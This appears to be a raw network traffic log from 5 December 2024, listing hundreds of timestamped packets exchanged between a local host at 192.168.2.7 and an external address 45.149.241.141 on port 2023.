Dec 5, 2024 10:39:25.471278906 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.472170115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.472398043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.472438097 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.473268986 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.473484993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.473539114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.474405050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.474504948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.474545956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.475533009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.475676060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.475725889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.476728916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.476932049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.476978064 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.477832079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.477870941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.477900982 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.478964090 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.479074955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.479115009 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.480097055 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.480230093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.480267048 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.481256962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.481348991 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.481394053 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.482445955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.482554913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.482611895 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.483561039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.483670950 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.483716011 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.484759092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.484910965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.484952927 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.486265898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.486397028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.486437082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.487004995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.487103939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.487143040 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.488112926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.488326073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.488363981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.489356041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.489571095 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.489612103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.490415096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.490530014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.490580082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.491537094 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.491580963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.491626978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.492676973 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.492763042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.492805004 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.493818998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.493927956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.493977070 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.495022058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.495160103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.495196104 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.496094942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.496186972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.496234894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.497257948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.497370005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.497410059 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.498374939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.498492002 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.498536110 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.499563932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.499665022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.499710083 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.500689030 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.500790119 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.500834942 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.501812935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.501946926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.501987934 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.503046989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.503269911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.503303051 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.504256010 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.504312038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.504343033 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.505239964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.505332947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.505378962 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.506455898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.506531000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.506576061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.507534027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.507747889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.507788897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.508630037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.597337008 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.639681101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.639854908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.639903069 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.640235901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.640439987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.640479088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.641402006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.641450882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.641488075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.642493010 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.642596960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.642638922 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.643682003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.643786907 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.643829107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.644788027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.644921064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.644963026 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.645952940 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.646038055 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.646137953 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.647114992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.647193909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.647238970 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.648493052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.648592949 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.648634911 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.649440050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.649580956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.649622917 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.650649071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.650859118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.650906086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.651792049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.651916027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.651962996 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.652826071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.652961016 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.653006077 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.654042006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.654083967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.654124022 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.655082941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.655231953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.655271053 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.656210899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.656323910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.656369925 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.657347918 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.657423019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.657470942 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.658493042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.658540964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.658585072 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.659681082 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.659765005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.659820080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.660891056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.660986900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.661026955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.662039042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.662066936 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.662101984 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.663079977 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.663137913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.663177013 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.664232969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.664330959 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.664371967 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.665355921 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.665457964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.665494919 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.666486979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.666603088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.666640043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.667658091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.667701006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.667733908 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.668771982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.668886900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.668927908 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.669919968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.670036077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.670068979 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.671094894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.671148062 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.671209097 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.672224045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.672324896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.672360897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.673407078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.673454046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.673491955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.674540043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.674612999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.674653053 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.675622940 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.675729990 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.675770998 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.676775932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.676928997 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.676968098 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.678020000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.678142071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.678179979 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.679089069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.679246902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.679285049 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.680224895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.680351019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.680392981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.681361914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.681473970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.681519032 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.682521105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.682657957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.682703018 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.683697939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.683805943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.683842897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.684813023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.684921026 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.684962988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.685950041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.686167002 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.686213970 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.687077999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.687180042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.687218904 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.688211918 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.688333988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.688374043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.689332962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.689444065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.689490080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.690491915 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.690618992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.690663099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.691629887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.691742897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.691781998 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.692822933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.692907095 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.692951918 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.693945885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.694037914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.694082022 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.695075035 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.695162058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.695199966 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.696225882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.696341038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.696379900 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.697365999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.697470903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.697520018 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.698544979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.698592901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.698633909 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.699588060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.784876108 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.832185984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.832362890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.832447052 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.832907915 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.833112955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.833194017 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.833899975 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.834019899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.834103107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.835053921 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.835222006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.835293055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.836230040 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.836373091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.836452007 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.837327957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.837393999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.837482929 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.838592052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.838777065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.838844061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.839745998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.840182066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.840240955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.840956926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.841000080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.841058016 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.841936111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.842010975 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.842078924 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.843059063 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.843157053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.843291998 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.844196081 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.844342947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.844398022 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.845321894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.845427990 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.845469952 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.846468925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.846582890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.846631050 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.847628117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.847721100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.847771883 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.848807096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.848898888 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.848952055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.849924088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.850061893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.850114107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.851031065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.851202965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.851254940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.852196932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.852257013 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.852300882 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.853354931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.853400946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.853446960 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.854506016 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.854598045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.854638100 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.855606079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.855776072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.855815887 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.856781006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.856904984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.856960058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.857908010 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.858036995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.858082056 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.859033108 CET	2023	49852	45.149.241.141	192.168.2.7
